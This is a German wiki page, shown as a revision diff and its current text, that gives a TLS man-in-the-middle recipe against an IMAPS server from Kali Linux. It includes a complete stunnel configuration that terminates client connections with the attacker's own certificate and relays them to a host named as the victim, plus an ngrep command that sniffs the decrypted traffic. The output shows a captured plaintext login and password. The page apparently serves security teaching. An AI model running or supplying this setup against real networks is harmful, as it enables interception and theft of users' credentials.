SSL Man in the Middle: Unterschied zwischen den Versionen

Aus xinux.net
Zur Navigation springen Zur Suche springen
Zeile 9: Zeile 9:
  
  
=stunnel=
+
==stunnel==
 +
*cat /etc/stunnel/stunnel.conf
 +
<pre>
 
debug = 7
 
debug = 7
 
options = NO_SSLv2
 
options = NO_SSLv2
Zeile 17: Zeile 19:
 
client = yes
 
client = yes
 
accept = 0.0.0.0:9999
 
accept = 0.0.0.0:9999
connect = thor.tuxmen.de:993
+
connect = thor.opfer.de:993
 
verify = 2
 
verify = 2
CAfile = /etc/stunnel/xin-old-ca.crt
+
CAfile = /etc/stunnel/ca.crt
  
 
[from-client]
 
[from-client]
 
accept  = 0.0.0.0:993
 
accept  = 0.0.0.0:993
 
connect = 127.0.0.1:9999
 
connect = 127.0.0.1:9999
cert = /etc/stunnel/kali.xinux.org.crt
+
cert = /etc/stunnel/kali.mim.org.crt
key = /etc/stunnel/kali.xinux.org.key
+
key = /etc/stunnel/kali.mim.org.key
CAfile = /etc/stunnel/xin-ca.crt
+
CAfile = /etc/stunnel/ca.crt
 +
</pre>
 +
*stunnel4 /etc/stunnel/stunnel.conf
  
 
==ngrep==
 
==ngrep==

Version vom 20. Oktober 2015, 17:02 Uhr

Kali Linux

nat

arpspoofing

stunnel

  • cat /etc/stunnel/stunnel.conf
debug = 7
options = NO_SSLv2
output = /var/log/stunnel.log

[to-server]
client = yes
accept = 0.0.0.0:9999
connect = thor.opfer.de:993
verify = 2
CAfile = /etc/stunnel/ca.crt

[from-client]
accept  = 0.0.0.0:993
connect = 127.0.0.1:9999
cert = /etc/stunnel/kali.mim.org.crt
key = /etc/stunnel/kali.mim.org.key
CAfile = /etc/stunnel/ca.crt
  • stunnel4 /etc/stunnel/stunnel.conf

ngrep

  • ngrep -d lo -s 1500 -l -i 'login' port 9999
interface: lo (127.0.0.0/255.0.0.0)
filter: (ip or ip6) and ( port 9999 )
match: login
#
T 127.0.0.1:45277 -> 127.0.0.1:9999 [AP]
  . login badura suxpass.                                            
##